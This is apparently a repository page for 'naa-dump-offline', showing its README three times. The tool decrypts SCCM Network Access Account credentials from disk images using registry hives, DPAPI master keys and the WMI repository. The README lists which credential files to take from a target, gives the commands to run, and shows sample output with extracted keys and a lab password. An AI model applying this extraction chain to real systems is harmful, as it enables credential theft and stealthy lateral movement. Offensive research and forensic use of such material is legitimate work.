        ● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
      

Offline extractor and decryptor for SCCM/MECM Network Access Account (NAA) credentials and policy secrets from dead-disk WMI repositories and DPAPI master keys.

$ git clone https://shehzade.io/repos/naa-dump-offline.git Copy

Source ZIP (290.0 KB) Prebuilt Binaries

Code 15 Commits 3 Releases 5

← Back to directory

5.3 KB

Raw

naa-dump-offline

Offline tool to carve and decrypt SCCM/MECM Network Access Account (NAA) credentials and policy secrets from dead-disk artifacts (OBJECTS.DATA, registry hives, and DPAPI master keys).

naa-dump-offline demo

Why / The Gap This Fills
How It Works
Required Files
Build
Usage
License

Why / The Gap This Fills

Techniques documented under CRED-4 in Misconfiguration Manager cover extracting NAA credentials from client disk storage. Existing tooling like SharpSCCM (local secrets -m disk) accomplishes this on live Windows targets by invoking Win32/WMI APIs and modifying registry ACLs on HKLM\SECURITY\Policy\Secrets\DPAPI_SYSTEM\CurrVal and HKLM\SECURITY\Policy\PolEKList to access machine keys. That workflow requires on-host code execution and generates observable telemetry.

Doing this offline previously meant chaining multiple scripts across Python, PowerShell, and C# to dump hives, extract LSA secrets, decrypt DPAPI master keys, and carve WMI records out of CIM repository files. Cross-platform support was also limited for teams triaging disk images or volume shadow copies on Linux or macOS.

naa-dump-offline consolidates the full extraction chain into a single compiled Go binary with no external runtime dependencies. It parses the raw file structures directly (registry hives, DPAPI MasterKey files, and WMI B-Tree records) to carve and decrypt NAA credentials completely offline without running code on the target host.

How It Works

When an SCCM client receives policy containing Network Access Account credentials or task sequence secrets, the values are DPAPI-encrypted under the NT AUTHORITY\SYSTEM context and stored in the WMI repository (C:\Windows\System32\wbem\Repository\OBJECTS.DATA).

Instead of querying WMI on a live host, naa-dump-offline parses the raw files offline:

Scans OBJECTS.DATA for encrypted SCCM policy DPAPI blobs and identifies which SYSTEM MasterKey GUID is needed.
Extracts the BootKey from the SYSTEM hive and decrypts the DPAPI_SYSTEM LSA secret from the SECURITY hive.
Uses the DPAPI_SYSTEM user/machine keys to decrypt the target SYSTEM MasterKey file.
Decrypts the carved WMI blobs, decompresses any zlib-packed PolicyXML streams, and extracts plaintext credentials.

Required Files

File	Default Path
`OBJECTS.DATA`	`C:\Windows\System32\wbem\Repository\OBJECTS.DATA`
`SYSTEM`	`C:\Windows\System32\config\SYSTEM`
`SECURITY`	`C:\Windows\System32\config\SECURITY`
`<GUID>`	`C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\<GUID>`

Build

Requires Go 1.21+.

BASH

make build

Cross-compile for Linux, Windows, and macOS:

BASH

make build-all

Usage

TEXT

Usage: naa-dump-offline -o OBJECTS.DATA [options]

Options:
  -o, -objects string
        Path to OBJECTS.DATA file
  -sys, -system string
        Path to SYSTEM registry hive
  -sec, -security string
        Path to SECURITY registry hive
  -m, -master-key string
        Path to MasterKey file
  -k string
        Decrypted MasterKey in hex (optional)
  -json
        Output results in JSON format
  -v    Verbose output (show decrypted policy secrets)

Find the required MasterKey GUID

Pull OBJECTS.DATA first and run without registry keys to see which MasterKey file you need to grab from the target:

BASH

./naa-dump-offline -o OBJECTS.DATA

TEXT

[*] Scanning OBJECTS.DATA for encrypted policy blobs...
[+] Found 19 encrypted blobs (6 unique)
    - MasterKey GUID: f5145914-dec0-40ee-a2d2-a40376c4b3e6 (19 blobs)

[*] Required MasterKey file:
    %SystemRoot%\System32\Microsoft\Protect\S-1-5-18\User\f5145914-dec0-40ee-a2d2-a40376c4b3e6

Decrypt with registry hives and MasterKey file

Once you pull SYSTEM, SECURITY, and the target MasterKey file:

BASH

./naa-dump-offline -o OBJECTS.DATA -sys SYSTEM -sec SECURITY -m f5145914-dec0-40ee-a2d2-a40376c4b3e6

TEXT

[*] Scanning OBJECTS.DATA for encrypted policy blobs...
[+] Found 19 encrypted blobs (6 unique)
    - MasterKey GUID: f5145914-dec0-40ee-a2d2-a40376c4b3e6 (19 blobs)
[*] Parsing SYSTEM hive: SYSTEM
[+] BootKey: 0xfb354c003764f5e1ea29204b5f162a9d
[*] Parsing SECURITY hive: SECURITY
[+] DPAPI UserKey:    0xd6b33ef5cfe833c357590f5d48f5a87db0adcccf
[+] DPAPI MachineKey: 0x27c72e12f2827ac91ef78520240249fa914f1f62
[*] Decrypting MasterKey from f5145914-dec0-40ee-a2d2-a40376c4b3e6
[+] MasterKey (f5145914-dec0-40ee-a2d2-a40376c4b3e6): 0x77e2f2fea604d8ce4620cd6cbf5aa706...
[*] Decrypting 6 policy blobs...

[+] Extracted credentials:
    sccm.lab\sccm-naa:123456789

Decrypt with a pre-decrypted MasterKey

If you already have the 64-byte MasterKey in hex:

BASH

./naa-dump-offline -o OBJECTS.DATA -k 77e2f2fea604d8ce4620cd6cbf5aa7063542e4ad31d064a3c6b8dbd25bed5d01...

License

Apache License 2.0

1	# naa-dump-offline
2
3	Offline tool to carve and decrypt SCCM/MECM Network Access Account (NAA) credentials and policy secrets from dead-disk artifacts (`OBJECTS.DATA`, registry hives, and DPAPI master keys).
4
5	![naa-dump-offline demo](docs/images/naa-dump-offline-demo.png)
6
7	## Table of Contents
8
9	- [Why / The Gap This Fills](#why--the-gap-this-fills)
10	- [How It Works](#how-it-works)
11	- [Required Files](#required-files)
12	- [Build](#build)
13	- [Usage](#usage)
14	- [Find the required MasterKey GUID](#find-the-required-masterkey-guid)
15	- [Decrypt with registry hives and MasterKey file](#decrypt-with-registry-hives-and-masterkey-file)
16	- [Decrypt with a pre-decrypted MasterKey](#decrypt-with-a-pre-decrypted-masterkey)
17	- [License](#license)
18
19	## Why / The Gap This Fills
20
21	Techniques documented under [CRED-4](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-4/cred-4_description.md) in Misconfiguration Manager cover extracting NAA credentials from client disk storage. Existing tooling like SharpSCCM (`local secrets -m disk`) accomplishes this on live Windows targets by invoking Win32/WMI APIs and modifying registry ACLs on `HKLM\SECURITY\Policy\Secrets\DPAPI_SYSTEM\CurrVal` and `HKLM\SECURITY\Policy\PolEKList` to access machine keys. That workflow requires on-host code execution and generates observable telemetry.
22
23	Doing this offline previously meant chaining multiple scripts across Python, PowerShell, and C# to dump hives, extract LSA secrets, decrypt DPAPI master keys, and carve WMI records out of CIM repository files. Cross-platform support was also limited for teams triaging disk images or volume shadow copies on Linux or macOS.
24
25	`naa-dump-offline` consolidates the full extraction chain into a single compiled Go binary with no external runtime dependencies. It parses the raw file structures directly (registry hives, DPAPI MasterKey files, and WMI B-Tree records) to carve and decrypt NAA credentials completely offline without running code on the target host.
26
27	## How It Works
28
29	When an SCCM client receives policy containing Network Access Account credentials or task sequence secrets, the values are DPAPI-encrypted under the `NT AUTHORITY\SYSTEM` context and stored in the WMI repository (`C:\Windows\System32\wbem\Repository\OBJECTS.DATA`).
30
31	Instead of querying WMI on a live host, `naa-dump-offline` parses the raw files offline:
32	1. Scans `OBJECTS.DATA` for encrypted SCCM policy DPAPI blobs and identifies which SYSTEM MasterKey GUID is needed.
33	2. Extracts the BootKey from the `SYSTEM` hive and decrypts the `DPAPI_SYSTEM` LSA secret from the `SECURITY` hive.
34	3. Uses the `DPAPI_SYSTEM` user/machine keys to decrypt the target SYSTEM MasterKey file.
35	4. Decrypts the carved WMI blobs, decompresses any zlib-packed `PolicyXML` streams, and extracts plaintext credentials.
36
37	## Required Files
38
39	\| File \| Default Path \|
40	\|---\|---\|
41	\| `OBJECTS.DATA` \| `C:\Windows\System32\wbem\Repository\OBJECTS.DATA` \|
42	\| `SYSTEM` \| `C:\Windows\System32\config\SYSTEM` \|
43	\| `SECURITY` \| `C:\Windows\System32\config\SECURITY` \|
44	\| `<GUID>` \| `C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\<GUID>` \|
45
46	## Build
47
48	Requires Go 1.21+.
49
50	```bash
51	make build
52	```
53
54	Cross-compile for Linux, Windows, and macOS:
55
56	```bash
57	make build-all
58	```
59
60	## Usage
61
62	```text
63	Usage: naa-dump-offline -o OBJECTS.DATA [options]
64
65	Options:
66	-o, -objects string
67	Path to OBJECTS.DATA file
68	-sys, -system string
69	Path to SYSTEM registry hive
70	-sec, -security string
71	Path to SECURITY registry hive
72	-m, -master-key string
73	Path to MasterKey file
74	-k string
75	Decrypted MasterKey in hex (optional)
76	-json
77	Output results in JSON format
78	-v Verbose output (show decrypted policy secrets)
79	```
80
81	### Find the required MasterKey GUID
82
83	Pull `OBJECTS.DATA` first and run without registry keys to see which MasterKey file you need to grab from the target:
84
85	```bash
86	./naa-dump-offline -o OBJECTS.DATA
87	```
88
89	```text
90	[*] Scanning OBJECTS.DATA for encrypted policy blobs...
91	[+] Found 19 encrypted blobs (6 unique)
92	- MasterKey GUID: f5145914-dec0-40ee-a2d2-a40376c4b3e6 (19 blobs)
93
94	[*] Required MasterKey file:
95	%SystemRoot%\System32\Microsoft\Protect\S-1-5-18\User\f5145914-dec0-40ee-a2d2-a40376c4b3e6
96	```
97
98	### Decrypt with registry hives and MasterKey file
99
100	Once you pull `SYSTEM`, `SECURITY`, and the target MasterKey file:
101
102	```bash
103	./naa-dump-offline -o OBJECTS.DATA -sys SYSTEM -sec SECURITY -m f5145914-dec0-40ee-a2d2-a40376c4b3e6
104	```
105
106	```text
107	[*] Scanning OBJECTS.DATA for encrypted policy blobs...
108	[+] Found 19 encrypted blobs (6 unique)
109	- MasterKey GUID: f5145914-dec0-40ee-a2d2-a40376c4b3e6 (19 blobs)
110	[*] Parsing SYSTEM hive: SYSTEM
111	[+] BootKey: 0xfb354c003764f5e1ea29204b5f162a9d
112	[*] Parsing SECURITY hive: SECURITY
113	[+] DPAPI UserKey: 0xd6b33ef5cfe833c357590f5d48f5a87db0adcccf
114	[+] DPAPI MachineKey: 0x27c72e12f2827ac91ef78520240249fa914f1f62
115	[*] Decrypting MasterKey from f5145914-dec0-40ee-a2d2-a40376c4b3e6
116	[+] MasterKey (f5145914-dec0-40ee-a2d2-a40376c4b3e6): 0x77e2f2fea604d8ce4620cd6cbf5aa706...
117	[*] Decrypting 6 policy blobs...
118
119	[+] Extracted credentials:
120	sccm.lab\sccm-naa:123456789
121	```
122
123	### Decrypt with a pre-decrypted MasterKey
124
125	If you already have the 64-byte MasterKey in hex:
126
127	```bash
128	./naa-dump-offline -o OBJECTS.DATA -k 77e2f2fea604d8ce4620cd6cbf5aa7063542e4ad31d064a3c6b8dbd25bed5d01...
129	```
130
131	## License
132
133	Apache License 2.0

# naa-dump-offline

Offline tool to carve and decrypt SCCM/MECM Network Access Account (NAA) credentials and policy secrets from dead-disk artifacts (`OBJECTS.DATA`, registry hives, and DPAPI master keys).

![naa-dump-offline demo](docs/images/naa-dump-offline-demo.png)

## Table of Contents

- [Why / The Gap This Fills](#why--the-gap-this-fills)
- [How It Works](#how-it-works)
- [Required Files](#required-files)
- [Build](#build)
- [Usage](#usage)
  - [Find the required MasterKey GUID](#find-the-required-masterkey-guid)
  - [Decrypt with registry hives and MasterKey file](#decrypt-with-registry-hives-and-masterkey-file)
  - [Decrypt with a pre-decrypted MasterKey](#decrypt-with-a-pre-decrypted-masterkey)
- [License](#license)

## Why / The Gap This Fills

Techniques documented under [CRED-4](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-4/cred-4_description.md) in Misconfiguration Manager cover extracting NAA credentials from client disk storage. Existing tooling like SharpSCCM (`local secrets -m disk`) accomplishes this on live Windows targets by invoking Win32/WMI APIs and modifying registry ACLs on `HKLM\SECURITY\Policy\Secrets\DPAPI_SYSTEM\CurrVal` and `HKLM\SECURITY\Policy\PolEKList` to access machine keys. That workflow requires on-host code execution and generates observable telemetry.

Doing this offline previously meant chaining multiple scripts across Python, PowerShell, and C# to dump hives, extract LSA secrets, decrypt DPAPI master keys, and carve WMI records out of CIM repository files. Cross-platform support was also limited for teams triaging disk images or volume shadow copies on Linux or macOS.

`naa-dump-offline` consolidates the full extraction chain into a single compiled Go binary with no external runtime dependencies. It parses the raw file structures directly (registry hives, DPAPI MasterKey files, and WMI B-Tree records) to carve and decrypt NAA credentials completely offline without running code on the target host.

## How It Works

When an SCCM client receives policy containing Network Access Account credentials or task sequence secrets, the values are DPAPI-encrypted under the `NT AUTHORITY\SYSTEM` context and stored in the WMI repository (`C:\Windows\System32\wbem\Repository\OBJECTS.DATA`).

Instead of querying WMI on a live host, `naa-dump-offline` parses the raw files offline:
1. Scans `OBJECTS.DATA` for encrypted SCCM policy DPAPI blobs and identifies which SYSTEM MasterKey GUID is needed.
2. Extracts the BootKey from the `SYSTEM` hive and decrypts the `DPAPI_SYSTEM` LSA secret from the `SECURITY` hive.
3. Uses the `DPAPI_SYSTEM` user/machine keys to decrypt the target SYSTEM MasterKey file.
4. Decrypts the carved WMI blobs, decompresses any zlib-packed `PolicyXML` streams, and extracts plaintext credentials.

## Required Files

| File | Default Path |
|---|---|
| `OBJECTS.DATA` | `C:\Windows\System32\wbem\Repository\OBJECTS.DATA` |
| `SYSTEM` | `C:\Windows\System32\config\SYSTEM` |
| `SECURITY` | `C:\Windows\System32\config\SECURITY` |
| `<GUID>` | `C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\<GUID>` |

## Build

Requires Go 1.21+.

```bash
make build
```

Cross-compile for Linux, Windows, and macOS:

```bash
make build-all
```

## Usage

```text
Usage: naa-dump-offline -o OBJECTS.DATA [options]

Options:
  -o, -objects string
        Path to OBJECTS.DATA file
  -sys, -system string
        Path to SYSTEM registry hive
  -sec, -security string
        Path to SECURITY registry hive
  -m, -master-key string
        Path to MasterKey file
  -k string
        Decrypted MasterKey in hex (optional)
  -json
        Output results in JSON format
  -v    Verbose output (show decrypted policy secrets)
```

### Find the required MasterKey GUID

Pull `OBJECTS.DATA` first and run without registry keys to see which MasterKey file you need to grab from the target:

```bash
./naa-dump-offline -o OBJECTS.DATA
```

```text
[*] Scanning OBJECTS.DATA for encrypted policy blobs...
[+] Found 19 encrypted blobs (6 unique)
    - MasterKey GUID: f5145914-dec0-40ee-a2d2-a40376c4b3e6 (19 blobs)

[*] Required MasterKey file:
    %SystemRoot%\System32\Microsoft\Protect\S-1-5-18\User\f5145914-dec0-40ee-a2d2-a40376c4b3e6
```

### Decrypt with registry hives and MasterKey file

Once you pull `SYSTEM`, `SECURITY`, and the target MasterKey file:

```bash
./naa-dump-offline -o OBJECTS.DATA -sys SYSTEM -sec SECURITY -m f5145914-dec0-40ee-a2d2-a40376c4b3e6
```

```text
[*] Scanning OBJECTS.DATA for encrypted policy blobs...
[+] Found 19 encrypted blobs (6 unique)
    - MasterKey GUID: f5145914-dec0-40ee-a2d2-a40376c4b3e6 (19 blobs)
[*] Parsing SYSTEM hive: SYSTEM
[+] BootKey: 0xfb354c003764f5e1ea29204b5f162a9d
[*] Parsing SECURITY hive: SECURITY
[+] DPAPI UserKey:    0xd6b33ef5cfe833c357590f5d48f5a87db0adcccf
[+] DPAPI MachineKey: 0x27c72e12f2827ac91ef78520240249fa914f1f62
[*] Decrypting MasterKey from f5145914-dec0-40ee-a2d2-a40376c4b3e6
[+] MasterKey (f5145914-dec0-40ee-a2d2-a40376c4b3e6): 0x77e2f2fea604d8ce4620cd6cbf5aa706...
[*] Decrypting 6 policy blobs...

[+] Extracted credentials:
    sccm.lab\sccm-naa:123456789
```

### Decrypt with a pre-decrypted MasterKey

If you already have the 64-byte MasterKey in hex:

```bash
./naa-dump-offline -o OBJECTS.DATA -k 77e2f2fea604d8ce4620cd6cbf5aa7063542e4ad31d064a3c6b8dbd25bed5d01...
```

## License

Apache License 2.0